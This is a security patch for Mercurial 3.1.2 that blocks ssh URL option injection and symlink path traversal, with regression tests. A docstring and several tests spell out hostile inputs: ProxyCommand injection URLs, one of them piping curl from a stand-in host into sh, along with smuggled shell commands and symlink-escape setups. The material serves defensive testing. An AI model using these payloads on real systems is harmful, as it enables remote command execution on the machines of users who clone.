1 |
--- mercurial-3.1.2.orig/mercurial/cmdutil.py |
2 |
+++ mercurial-3.1.2/mercurial/cmdutil.py |
3 |
@@ -2479,11 +2479,11 @@ def _performrevert(repo, parents, ctx, a |
4 |
node = ctx.node() |
5 |
def checkout(f): |
6 |
fc = ctx[f] |
7 |
repo.wwrite(f, fc.data(), fc.flags()) |
8 |
|
9 |
- audit_path = pathutil.pathauditor(repo.root) |
10 |
+ audit_path = pathutil.pathauditor(repo.root, cached=True) |
11 |
for f in actions['remove'][0]: |
12 |
if repo.dirstate[f] == 'a': |
13 |
repo.dirstate.drop(f) |
14 |
continue |
15 |
audit_path(f) |
16 |
--- mercurial-3.1.2.orig/mercurial/dirstate.py |
17 |
+++ mercurial-3.1.2/mercurial/dirstate.py |
18 |
@@ -744,11 +744,11 @@ class dirstate(object): |
19 |
if unknown: |
20 |
# unknown == True means we walked all dirs under the roots |
21 |
# that wasn't ignored, and everything that matched was stat'ed |
22 |
# and is already in results. |
23 |
# The rest must thus be ignored or under a symlink. |
24 |
- audit_path = pathutil.pathauditor(self._root) |
25 |
+ audit_path = pathutil.pathauditor(self._root, cached=True) |
26 |
|
27 |
for nf in iter(visit): |
28 |
# Report ignored items in the dmap as long as they are not |
29 |
# under a symlink directory. |
30 |
if audit_path.check(nf): |
31 |
--- mercurial-3.1.2.orig/mercurial/localrepo.py |
32 |
+++ mercurial-3.1.2/mercurial/localrepo.py |
33 |
@@ -196,11 +196,11 @@ class localrepository(object): |
34 |
self.wopener = self.wvfs |
35 |
self.root = self.wvfs.base |
36 |
self.path = self.wvfs.join(".hg") |
37 |
self.origroot = path |
38 |
self.auditor = pathutil.pathauditor(self.root, self._checknested) |
39 |
- self.vfs = scmutil.vfs(self.path) |
40 |
+ self.vfs = scmutil.vfs(self.path, cacheaudited=True) |
41 |
self.opener = self.vfs |
42 |
self.baseui = baseui |
43 |
self.ui = baseui.copy() |
44 |
self.ui.copy = baseui.copy # prevent copying repo configuration |
45 |
# A list of callback to shape the phase if no data were found. |
46 |
@@ -268,11 +268,13 @@ class localrepository(object): |
47 |
self.sharedpath = s |
48 |
except IOError, inst: |
49 |
if inst.errno != errno.ENOENT: |
50 |
raise |
51 |
|
52 |
- self.store = store.store(requirements, self.sharedpath, scmutil.vfs) |
53 |
+ self.store = store.store( |
54 |
+ requirements, self.sharedpath, |
55 |
+ lambda base: scmutil.vfs(base, cacheaudited=True)) |
56 |
self.spath = self.store.path |
57 |
self.svfs = self.store.vfs |
58 |
self.sopener = self.svfs |
59 |
self.sjoin = self.store.join |
60 |
self.vfs.createmode = self.store.createmode |
61 |
--- mercurial-3.1.2.orig/mercurial/pathutil.py |
62 |
+++ mercurial-3.1.2/mercurial/pathutil.py |
63 |
@@ -16,16 +16,21 @@ class pathauditor(object): |
64 |
- starts at the root of a windows drive |
65 |
- contains ".." |
66 |
- traverses a symlink (e.g. a/symlink_here/b) |
67 |
- inside a nested repository (a callback can be used to approve |
68 |
some nested repositories, e.g., subrepositories) |
69 |
+ |
70 |
+ If 'cached' is set to True, audited paths and sub-directories are cached. |
71 |
+ Be careful to not keep the cache of unmanaged directories for long because |
72 |
+ audited paths may be replaced with symlinks. |
73 |
''' |
74 |
|
75 |
- def __init__(self, root, callback=None): |
76 |
+ def __init__(self, root, callback=None, cached=False): |
77 |
self.audited = set() |
78 |
self.auditeddir = set() |
79 |
self.root = root |
80 |
+ self._cached = cached |
81 |
self.callback = callback |
82 |
if os.path.lexists(root) and not util.checkcase(root): |
83 |
self.normcase = util.normcase |
84 |
else: |
85 |
self.normcase = lambda x: x |
86 |
@@ -94,14 +99,15 @@ class pathauditor(object): |
87 |
% (path, prefix)) |
88 |
prefixes.append(normprefix) |
89 |
parts.pop() |
90 |
normparts.pop() |
91 |
|
92 |
- self.audited.add(normpath) |
93 |
- # only add prefixes to the cache after checking everything: we don't |
94 |
- # want to add "foo/bar/baz" before checking if there's a "foo/.hg" |
95 |
- self.auditeddir.update(prefixes) |
96 |
+ if self._cached: |
97 |
+ self.audited.add(normpath) |
98 |
+ # only add prefixes to the cache after checking everything: we don't |
99 |
+ # want to add "foo/bar/baz" before checking if there's a "foo/.hg" |
100 |
+ self.auditeddir.update(prefixes) |
101 |
|
102 |
def check(self, path): |
103 |
try: |
104 |
self(path) |
105 |
return True |
106 |
--- mercurial-3.1.2.orig/mercurial/posix.py |
107 |
+++ mercurial-3.1.2/mercurial/posix.py |
108 |
@@ -5,10 +5,11 @@ |
109 |
# This software may be used and distributed according to the terms of the |
110 |
# GNU General Public License version 2 or any later version. |
111 |
|
112 |
from i18n import _ |
113 |
import encoding |
114 |
+import error |
115 |
import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata |
116 |
|
117 |
posixfile = open |
118 |
normpath = os.path.normpath |
119 |
samestat = os.path.samestat |
120 |
@@ -62,11 +63,17 @@ def parsepatchoutput(output_line): |
121 |
return pf |
122 |
|
123 |
def sshargs(sshcmd, host, user, port): |
124 |
'''Build argument list for ssh''' |
125 |
args = user and ("%s@%s" % (user, host)) or host |
126 |
- return port and ("%s -p %s" % (args, port)) or args |
127 |
+ if '-' in args[:1]: |
128 |
+ raise error.Abort( |
129 |
+ _('illegal ssh hostname or username starting with -: %s') % args) |
130 |
+ args = shellquote(args) |
131 |
+ if port: |
132 |
+ args = '-p %s %s' % (shellquote(port), args) |
133 |
+ return args |
134 |
|
135 |
def isexec(f): |
136 |
"""check whether a file is executable""" |
137 |
return (os.lstat(f).st_mode & 0100 != 0) |
138 |
|
139 |
--- mercurial-3.1.2.orig/mercurial/scmutil.py |
140 |
+++ mercurial-3.1.2/mercurial/scmutil.py |
141 |
@@ -238,28 +238,35 @@ class abstractvfs(object): |
142 |
class vfs(abstractvfs): |
143 |
'''Operate files relative to a base directory |
144 |
|
145 |
This class is used to hide the details of COW semantics and |
146 |
remote file access from higher level code. |
147 |
+ |
148 |
+ 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or |
149 |
+ (b) the base directory is managed by hg and considered sort-of append-only. |
150 |
+ See pathutil.pathauditor() for details. |
151 |
''' |
152 |
- def __init__(self, base, audit=True, expandpath=False, realpath=False): |
153 |
+ def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, |
154 |
+ realpath=False): |
155 |
if expandpath: |
156 |
base = util.expandpath(base) |
157 |
if realpath: |
158 |
base = os.path.realpath(base) |
159 |
self.base = base |
160 |
+ self._cacheaudited = cacheaudited |
161 |
self._setmustaudit(audit) |
162 |
self.createmode = None |
163 |
self._trustnlink = None |
164 |
|
165 |
def _getmustaudit(self): |
166 |
return self._audit |
167 |
|
168 |
def _setmustaudit(self, onoff): |
169 |
self._audit = onoff |
170 |
if onoff: |
171 |
- self.audit = pathutil.pathauditor(self.base) |
172 |
+ self.audit = pathutil.pathauditor(self.base, |
173 |
+ cached=self._cacheaudited) |
174 |
else: |
175 |
self.audit = util.always |
176 |
|
177 |
mustaudit = property(_getmustaudit, _setmustaudit) |
178 |
|
179 |
@@ -688,11 +695,11 @@ def _interestingfiles(repo, matcher): |
180 |
about. |
181 |
|
182 |
This is different from dirstate.status because it doesn't care about |
183 |
whether files are modified or clean.''' |
184 |
added, unknown, deleted, removed = [], [], [], [] |
185 |
- audit_path = pathutil.pathauditor(repo.root) |
186 |
+ audit_path = pathutil.pathauditor(repo.root, cached=True) |
187 |
|
188 |
ctx = repo[None] |
189 |
dirstate = repo.dirstate |
190 |
walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False, |
191 |
full=False) |
192 |
--- mercurial-3.1.2.orig/mercurial/sshpeer.py |
193 |
+++ mercurial-3.1.2/mercurial/sshpeer.py |
194 |
@@ -35,24 +35,23 @@ class sshpeer(wireproto.wirepeer): |
195 |
|
196 |
u = util.url(path, parsequery=False, parsefragment=False) |
197 |
if u.scheme != 'ssh' or not u.host or u.path is None: |
198 |
self._abort(error.RepoError(_("couldn't parse location %s") % path)) |
199 |
|
200 |
+ util.checksafessh(path) |
201 |
+ |
202 |
self.user = u.user |
203 |
if u.passwd is not None: |
204 |
self._abort(error.RepoError(_("password in URL not supported"))) |
205 |
self.host = u.host |
206 |
self.port = u.port |
207 |
self.path = u.path or "." |
208 |
|
209 |
sshcmd = self.ui.config("ui", "ssh", "ssh") |
210 |
remotecmd = self.ui.config("ui", "remotecmd", "hg") |
211 |
|
212 |
- args = util.sshargs(sshcmd, |
213 |
- _serverquote(self.host), |
214 |
- _serverquote(self.user), |
215 |
- _serverquote(self.port)) |
216 |
+ args = util.sshargs(sshcmd, self.host, self.user, self.port) |
217 |
|
218 |
if create: |
219 |
cmd = '%s %s %s' % (sshcmd, args, |
220 |
util.shellquote("%s init %s" % |
221 |
(_serverquote(remotecmd), _serverquote(self.path)))) |
222 |
--- mercurial-3.1.2.orig/mercurial/subrepo.py |
223 |
+++ mercurial-3.1.2/mercurial/subrepo.py |
224 |
@@ -1074,10 +1074,14 @@ class svnsubrepo(abstractsubrepo): |
225 |
if self._svnversion >= (1, 5): |
226 |
args.append('--force') |
227 |
# The revision must be specified at the end of the URL to properly |
228 |
# update to a directory which has since been deleted and recreated. |
229 |
args.append('%s@%s' % (state[0], state[1])) |
230 |
+ |
231 |
+ # SEC: check that the ssh url is safe |
232 |
+ util.checksafessh(state[0]) |
233 |
+ |
234 |
status, err = self._svncommand(args, failok=True) |
235 |
_sanitize(self._ui, self._ctx._repo.wjoin(self._path), '.svn') |
236 |
if not re.search('Checked out revision [0-9]+.', status): |
237 |
if ('is already a working copy for a different URL' in err |
238 |
and (self._wcchanged()[:2] == (False, False))): |
239 |
@@ -1310,10 +1314,13 @@ class gitsubrepo(abstractsubrepo): |
240 |
self._subsource = source |
241 |
return _abssource(self) |
242 |
|
243 |
def _fetch(self, source, revision): |
244 |
if self._gitmissing(): |
245 |
+ # SEC: check for safe ssh url |
246 |
+ util.checksafessh(source) |
247 |
+ |
248 |
source = self._abssource(source) |
249 |
self._ui.status(_('cloning subrepo %s from %s\n') % |
250 |
(self._relpath, source)) |
251 |
self._gitnodir(['clone', source, self._abspath]) |
252 |
if self._githavelocally(revision): |
253 |
--- mercurial-3.1.2.orig/mercurial/util.py |
254 |
+++ mercurial-3.1.2/mercurial/util.py |
255 |
@@ -1936,10 +1936,25 @@ def hasdriveletter(path): |
256 |
return path and path[1:2] == ':' and path[0:1].isalpha() |
257 |
|
258 |
def urllocalpath(path): |
259 |
return url(path, parsequery=False, parsefragment=False).localpath() |
260 |
|
261 |
+def checksafessh(path): |
262 |
+ """check if a path / url is a potentially unsafe ssh exploit (SEC) |
263 |
+ |
264 |
+ This is a sanity check for ssh urls. ssh will parse the first item as |
265 |
+ an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
266 |
+ Let's prevent these potentially exploited urls entirely and warn the |
267 |
+ user. |
268 |
+ |
269 |
+ Raises an error.Abort when the url is unsafe. |
270 |
+ """ |
271 |
+ path = urllib.unquote(path) |
272 |
+ if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
273 |
+ raise error.Abort(_('potentially unsafe url: %r') % |
274 |
+ (path,)) |
275 |
+ |
276 |
def hidepassword(u): |
277 |
'''hide user credential in a url string''' |
278 |
u = url(u) |
279 |
if u.passwd: |
280 |
u.passwd = '***' |
281 |
--- mercurial-3.1.2.orig/mercurial/windows.py |
282 |
+++ mercurial-3.1.2/mercurial/windows.py |
283 |
@@ -4,11 +4,11 @@ |
284 |
# |
285 |
# This software may be used and distributed according to the terms of the |
286 |
# GNU General Public License version 2 or any later version. |
287 |
|
288 |
from i18n import _ |
289 |
-import osutil, encoding |
290 |
+import osutil, encoding, error |
291 |
import errno, msvcrt, os, re, stat, sys, _winreg |
292 |
|
293 |
import win32 |
294 |
executablepath = win32.executablepath |
295 |
getuser = win32.getuser |
296 |
@@ -98,11 +98,18 @@ def parsepatchoutput(output_line): |
297 |
|
298 |
def sshargs(sshcmd, host, user, port): |
299 |
'''Build argument list for ssh or Plink''' |
300 |
pflag = 'plink' in sshcmd.lower() and '-P' or '-p' |
301 |
args = user and ("%s@%s" % (user, host)) or host |
302 |
- return port and ("%s %s %s" % (args, pflag, port)) or args |
303 |
+ if args.startswith('-') or args.startswith('/'): |
304 |
+ raise error.Abort( |
305 |
+ _('illegal ssh hostname or username starting with - or /: %s') % |
306 |
+ args) |
307 |
+ args = shellquote(args) |
308 |
+ if port: |
309 |
+ args = '%s %s %s' % (pflag, shellquote(port), args) |
310 |
+ return args |
311 |
|
312 |
def setflags(f, l, x): |
313 |
pass |
314 |
|
315 |
def copymode(src, dst, mode=None): |
316 |
--- mercurial-3.1.2.orig/tests/test-audit-path.t |
317 |
+++ mercurial-3.1.2/tests/test-audit-path.t |
318 |
@@ -88,5 +88,104 @@ attack /tmp/test |
319 |
$ hg update -Cr4 |
320 |
abort: path contains illegal component: /tmp/test (glob) |
321 |
[255] |
322 |
|
323 |
$ cd .. |
324 |
+ |
325 |
+Test symlink traversal on merge: |
326 |
+-------------------------------- |
327 |
+ |
328 |
+#if symlink |
329 |
+ |
330 |
+set up symlink hell |
331 |
+ |
332 |
+ $ mkdir merge-symlink-out |
333 |
+ $ hg init merge-symlink |
334 |
+ $ cd merge-symlink |
335 |
+ $ touch base |
336 |
+ $ hg commit -qAm base |
337 |
+ $ ln -s ../merge-symlink-out a |
338 |
+ $ hg commit -qAm 'symlink a -> ../merge-symlink-out' |
339 |
+ $ hg up -q 0 |
340 |
+ $ mkdir a |
341 |
+ $ touch a/poisoned |
342 |
+ $ hg commit -qAm 'file a/poisoned' |
343 |
+ $ hg log -G -T '{rev}: {desc}\n' |
344 |
+ @ 2: file a/poisoned |
345 |
+ | |
346 |
+ | o 1: symlink a -> ../merge-symlink-out |
347 |
+ |/ |
348 |
+ o 0: base |
349 |
+ |
350 |
+ |
351 |
+try trivial merge |
352 |
+ |
353 |
+ $ hg up -qC 1 |
354 |
+ $ hg merge 2 |
355 |
+ abort: path 'a/poisoned' traverses symbolic link 'a' |
356 |
+ [255] |
357 |
+ |
358 |
+try rebase onto other revision: cache of audited paths should be discarded, |
359 |
+and the rebase should fail (issue5628) |
360 |
+ |
361 |
+ $ hg up -qC 2 |
362 |
+ $ hg rebase -s 2 -d 1 --config extensions.rebase= |
363 |
+ abort: path 'a/poisoned' traverses symbolic link 'a' |
364 |
+ [255] |
365 |
+ $ ls ../merge-symlink-out |
366 |
+ |
367 |
+ $ cd .. |
368 |
+ |
369 |
+Test symlink traversal on update: |
370 |
+--------------------------------- |
371 |
+ |
372 |
+ $ mkdir update-symlink-out |
373 |
+ $ hg init update-symlink |
374 |
+ $ cd update-symlink |
375 |
+ $ ln -s ../update-symlink-out a |
376 |
+ $ hg commit -qAm 'symlink a -> ../update-symlink-out' |
377 |
+ $ hg rm a |
378 |
+ $ mkdir a && touch a/b |
379 |
+ $ hg ci -qAm 'file a/b' a/b |
380 |
+ $ hg up -qC 0 |
381 |
+ $ hg rm a |
382 |
+ $ mkdir a && touch a/c |
383 |
+ $ hg ci -qAm 'rm a, file a/c' |
384 |
+ $ hg log -G -T '{rev}: {desc}\n' |
385 |
+ @ 2: rm a, file a/c |
386 |
+ | |
387 |
+ | o 1: file a/b |
388 |
+ |/ |
389 |
+ o 0: symlink a -> ../update-symlink-out |
390 |
+ |
391 |
+ |
392 |
+try linear update where symlink already exists: |
393 |
+ |
394 |
+ $ hg up -qC 0 |
395 |
+ $ hg up 1 |
396 |
+ abort: path 'a/b' traverses symbolic link 'a' |
397 |
+ [255] |
398 |
+ |
399 |
+try linear update including symlinked directory and its content: paths are |
400 |
+audited first by calculateupdates(), where no symlink is created so both |
401 |
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail. |
402 |
+ |
403 |
+ $ hg up -qC null |
404 |
+ $ hg up 1 |
405 |
+ abort: path 'a/b' traverses symbolic link 'a' |
406 |
+ [255] |
407 |
+ $ ls ../update-symlink-out |
408 |
+ |
409 |
+try branch update replacing directory with symlink, and its content: the |
410 |
+path 'a' is audited as a directory first, which should be audited again as |
411 |
+a symlink. |
412 |
+ |
413 |
+ $ rm -f a |
414 |
+ $ hg up -qC 2 |
415 |
+ $ hg up 1 |
416 |
+ abort: path 'a/b' traverses symbolic link 'a' |
417 |
+ [255] |
418 |
+ $ ls ../update-symlink-out |
419 |
+ |
420 |
+ $ cd .. |
421 |
+ |
422 |
+#endif |
423 |
--- mercurial-3.1.2.orig/tests/test-clone.t |
424 |
+++ mercurial-3.1.2/tests/test-clone.t |
425 |
@@ -633,5 +633,68 @@ Test clone from the repository in (emula |
426 |
0:e1bab28bca43 |
427 |
$ hg clone -U -q src dst |
428 |
$ hg -R dst log -q |
429 |
0:e1bab28bca43 |
430 |
$ cd .. |
431 |
+ |
432 |
+SEC: check for unsafe ssh url |
433 |
+ |
434 |
+ $ cat >> $HGRCPATH << EOF |
435 |
+ > [ui] |
436 |
+ > ssh = sh -c "read l; read l; read l" |
437 |
+ > EOF |
438 |
+ |
439 |
+ $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' |
440 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' |
441 |
+ [255] |
442 |
+ $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' |
443 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' |
444 |
+ [255] |
445 |
+ $ hg clone 'ssh://fakehost|touch%20owned/path' |
446 |
+ abort: no suitable response from remote hg! |
447 |
+ [255] |
448 |
+ $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' |
449 |
+ abort: no suitable response from remote hg! |
450 |
+ [255] |
451 |
+ |
452 |
+ $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' |
453 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' |
454 |
+ [255] |
455 |
+ |
456 |
+#if windows |
457 |
+ $ hg clone "ssh://%26touch%20owned%20/" --debug |
458 |
+ running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" |
459 |
+ sending hello command |
460 |
+ sending between command |
461 |
+ abort: no suitable response from remote hg! |
462 |
+ [255] |
463 |
+ $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug |
464 |
+ running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" |
465 |
+ sending hello command |
466 |
+ sending between command |
467 |
+ abort: no suitable response from remote hg! |
468 |
+ [255] |
469 |
+#else |
470 |
+ $ hg clone "ssh://%3btouch%20owned%20/" --debug |
471 |
+ running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' |
472 |
+ sending hello command |
473 |
+ sending between command |
474 |
+ abort: no suitable response from remote hg! |
475 |
+ [255] |
476 |
+ $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug |
477 |
+ running sh -c "read l; read l; read l" -p ';touch owned ' 'example.com' 'hg -R . serve --stdio' |
478 |
+ sending hello command |
479 |
+ sending between command |
480 |
+ abort: no suitable response from remote hg! |
481 |
+ [255] |
482 |
+#endif |
483 |
+ |
484 |
+ $ hg clone "ssh://v-alid.example.com/" --debug |
485 |
+ running sh -c "read l; read l; read l" 'v-alid\.example\.com' ['"]hg -R \. serve --stdio['"] (re) |
486 |
+ sending hello command |
487 |
+ sending between command |
488 |
+ abort: no suitable response from remote hg! |
489 |
+ [255] |
490 |
+ |
491 |
+We should not have created a file named owned - if it exists, the |
492 |
+attack succeeded. |
493 |
+ $ if test -f owned; then echo 'you got owned'; fi |
494 |
--- mercurial-3.1.2.orig/tests/test-commandserver.py |
495 |
+++ mercurial-3.1.2/tests/test-commandserver.py |
496 |
@@ -302,10 +302,38 @@ def getpass(server): |
497 |
def startwithoutrepo(server): |
498 |
readchannel(server) |
499 |
runcommand(server, ['init', 'repo2']) |
500 |
runcommand(server, ['id', '-R', 'repo2']) |
501 |
|
502 |
+def traversalsetup(server): |
503 |
+ readchannel(server) |
504 |
+ |
505 |
+ # set up symlink hell |
506 |
+ f = open('base', 'ab') |
507 |
+ f.close() |
508 |
+ runcommand(server, ['commit', '-qAm', 'base']) |
509 |
+ os.symlink('../merge-symlink-out', 'a') |
510 |
+ runcommand(server, ['commit', '-qAm', 'symlink a -> ../merge-symlink-out']) |
511 |
+ runcommand(server, ['up', '-q', '0']) |
512 |
+ os.mkdir('a') |
513 |
+ f = open('a/poisoned', 'ab') |
514 |
+ f.close() |
515 |
+ runcommand(server, ['commit', '-qAm', 'file a/poisoned']) |
516 |
+ runcommand(server, ['log', '-G', '-T', '{rev}: {desc}\n']) |
517 |
+ |
518 |
+def traversalmerge(server): |
519 |
+ # try trivial merge after update: cache of audited paths should be |
520 |
+ # discarded, and the merge should fail (issue5628) |
521 |
+ readchannel(server) |
522 |
+ runcommand(server, ['up', '-q', 'null']) |
523 |
+ # audit a/poisoned as a good path |
524 |
+ runcommand(server, ['up', '-qC', '2']) |
525 |
+ runcommand(server, ['up', '-qC', '1']) |
526 |
+ # here a is a symlink, so a/poisoned is bad |
527 |
+ runcommand(server, ['merge', '2']) |
528 |
+ os.system('ls ../merge-symlink-out') |
529 |
+ |
530 |
if __name__ == '__main__': |
531 |
os.system('hg init repo') |
532 |
os.chdir('repo') |
533 |
|
534 |
check(hellomessage) |
535 |
@@ -353,5 +381,12 @@ if __name__ == '__main__': |
536 |
check(getpass) |
537 |
|
538 |
os.chdir('..') |
539 |
check(hellomessage) |
540 |
check(startwithoutrepo) |
541 |
+ |
542 |
+ os.mkdir('merge-symlink-out') |
543 |
+ os.system('hg init merge-symlink') |
544 |
+ os.chdir('merge-symlink') |
545 |
+ check(traversalsetup) |
546 |
+ check(traversalmerge) |
547 |
+ os.chdir('..') |
548 |
--- mercurial-3.1.2.orig/tests/test-commandserver.py.out |
549 |
+++ mercurial-3.1.2/tests/test-commandserver.py.out |
550 |
@@ -258,5 +258,29 @@ abort: there is no Mercurial repository |
551 |
testing startwithoutrepo: |
552 |
|
553 |
runcommand init repo2 |
554 |
runcommand id -R repo2 |
555 |
000000000000 tip |
556 |
+ |
557 |
+testing traversalsetup: |
558 |
+ |
559 |
+ runcommand commit -qAm base |
560 |
+ runcommand commit -qAm symlink a -> ../merge-symlink-out |
561 |
+ runcommand up -q 0 |
562 |
+ runcommand commit -qAm file a/poisoned |
563 |
+ runcommand log -G -T {rev}: {desc} |
564 |
+ |
565 |
+@ 2: file a/poisoned |
566 |
+| |
567 |
+| o 1: symlink a -> ../merge-symlink-out |
568 |
+|/ |
569 |
+o 0: base |
570 |
+ |
571 |
+ |
572 |
+testing traversalmerge: |
573 |
+ |
574 |
+ runcommand up -q null |
575 |
+ runcommand up -qC 2 |
576 |
+ runcommand up -qC 1 |
577 |
+ runcommand merge 2 |
578 |
+abort: path 'a/poisoned' traverses symbolic link 'a' |
579 |
+ [255] |
580 |
--- mercurial-3.1.2.orig/tests/test-pull.t |
581 |
+++ mercurial-3.1.2/tests/test-pull.t |
582 |
@@ -87,6 +87,28 @@ regular shell commands. |
583 |
[255] |
584 |
|
585 |
$ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` |
586 |
$ hg pull -q "$URL" |
587 |
|
588 |
+SEC: check for unsafe ssh url |
589 |
+ |
590 |
+ $ cat >> $HGRCPATH << EOF |
591 |
+ > [ui] |
592 |
+ > ssh = sh -c "read l; read l; read l" |
593 |
+ > EOF |
594 |
+ |
595 |
+ $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' |
596 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' |
597 |
+ [255] |
598 |
+ $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' |
599 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' |
600 |
+ [255] |
601 |
+ $ hg pull 'ssh://fakehost|touch${IFS}owned/path' |
602 |
+ abort: no suitable response from remote hg! |
603 |
+ [255] |
604 |
+ $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' |
605 |
+ abort: no suitable response from remote hg! |
606 |
+ [255] |
607 |
+ |
608 |
+ $ [ ! -f owned ] || echo 'you got owned' |
609 |
+ |
610 |
$ cd .. |
611 |
--- mercurial-3.1.2.orig/tests/test-push-r.t |
612 |
+++ mercurial-3.1.2/tests/test-push-r.t |
613 |
@@ -145,5 +145,31 @@ |
614 |
crosschecking files in changesets and manifests |
615 |
checking files |
616 |
4 files, 9 changesets, 7 total revisions |
617 |
|
618 |
$ cd .. |
619 |
+ |
620 |
+SEC: check for unsafe ssh url |
621 |
+ |
622 |
+ $ cat >> $HGRCPATH << EOF |
623 |
+ > [ui] |
624 |
+ > ssh = sh -c "read l; read l; read l" |
625 |
+ > EOF |
626 |
+ |
627 |
+ $ hg -R test push 'ssh://-oProxyCommand=touch${IFS}owned/path' |
628 |
+ pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path |
629 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' |
630 |
+ [255] |
631 |
+ $ hg -R test push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' |
632 |
+ pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path |
633 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' |
634 |
+ [255] |
635 |
+ $ hg -R test push 'ssh://fakehost|touch${IFS}owned/path' |
636 |
+ pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path |
637 |
+ abort: no suitable response from remote hg! |
638 |
+ [255] |
639 |
+ $ hg -R test push 'ssh://fakehost%7Ctouch%20owned/path' |
640 |
+ pushing to ssh://fakehost%7Ctouch%20owned/path |
641 |
+ abort: no suitable response from remote hg! |
642 |
+ [255] |
643 |
+ |
644 |
+ $ [ ! -f owned ] || echo 'you got owned' |
645 |
--- mercurial-3.1.2.orig/tests/test-subrepo-git.t |
646 |
+++ mercurial-3.1.2/tests/test-subrepo-git.t |
647 |
@@ -692,5 +692,36 @@ whitelisting of ext should be respected |
648 |
and the repository exists. |
649 |
updating to branch default |
650 |
cloning subrepo s from ext::sh -c echo% pwned% >&2 |
651 |
abort: git clone error 128 in s (in subrepo s) |
652 |
[255] |
653 |
+ |
654 |
+test for ssh exploit with git subrepos 2017-07-25 |
655 |
+ |
656 |
+ $ hg init malicious-proxycommand |
657 |
+ $ cd malicious-proxycommand |
658 |
+ $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub |
659 |
+ $ git init s |
660 |
+ Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ |
661 |
+ $ cd s |
662 |
+ $ git commit --allow-empty -m 'empty' |
663 |
+ [master (root-commit) 153f934] empty |
664 |
+ $ cd .. |
665 |
+ $ hg add .hgsub |
666 |
+ $ hg ci -m 'add subrepo' |
667 |
+ $ cd .. |
668 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
669 |
+ updating to branch default |
670 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) |
671 |
+ [255] |
672 |
+ |
673 |
+also check that a percent encoded '-' (%2D) doesn't work |
674 |
+ |
675 |
+ $ cd malicious-proxycommand |
676 |
+ $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub |
677 |
+ $ hg ci -m 'change url to percent encoded' |
678 |
+ $ cd .. |
679 |
+ $ rm -r malicious-proxycommand-clone |
680 |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone |
681 |
+ updating to branch default |
682 |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) |
683 |
+ [255] |
684 |
--- mercurial-3.1.2.orig/tests/test-subrepo-svn.t |
685 |
+++ mercurial-3.1.2/tests/test-subrepo-svn.t |
686 |
@@ -682,5 +682,45 @@ Test that sanitizing is omitted in meta |
687 |
$ mkdir s/.svn/.hg |
688 |
$ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc |
689 |
$ hg update -q -C '.^1' |
690 |
|
691 |
$ cd ../.. |
692 |
+ |
693 |
+SEC: test for ssh exploit |
694 |
+ |
695 |
+ $ hg init ssh-vuln |
696 |
+ $ cd ssh-vuln |
697 |
+ $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub |
698 |
+ $ svn co --quiet "$SVNREPOURL"/src s |
699 |
+ $ hg add .hgsub |
700 |
+ $ hg ci -m1 |
701 |
+ $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub |
702 |
+ $ hg ci -m2 |
703 |
+ $ cd .. |
704 |
+ $ hg clone ssh-vuln ssh-vuln-clone |
705 |
+ updating to branch default |
706 |
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) |
707 |
+ [255] |
708 |
+ |
709 |
+also check that a percent encoded '-' (%2D) doesn't work |
710 |
+ |
711 |
+ $ cd ssh-vuln |
712 |
+ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub |
713 |
+ $ hg ci -m3 |
714 |
+ $ cd .. |
715 |
+ $ rm -r ssh-vuln-clone |
716 |
+ $ hg clone ssh-vuln ssh-vuln-clone |
717 |
+ updating to branch default |
718 |
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) |
719 |
+ [255] |
720 |
+ |
721 |
+also check that hiding the attack in the username doesn't work: |
722 |
+ |
723 |
+ $ cd ssh-vuln |
724 |
+ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub |
725 |
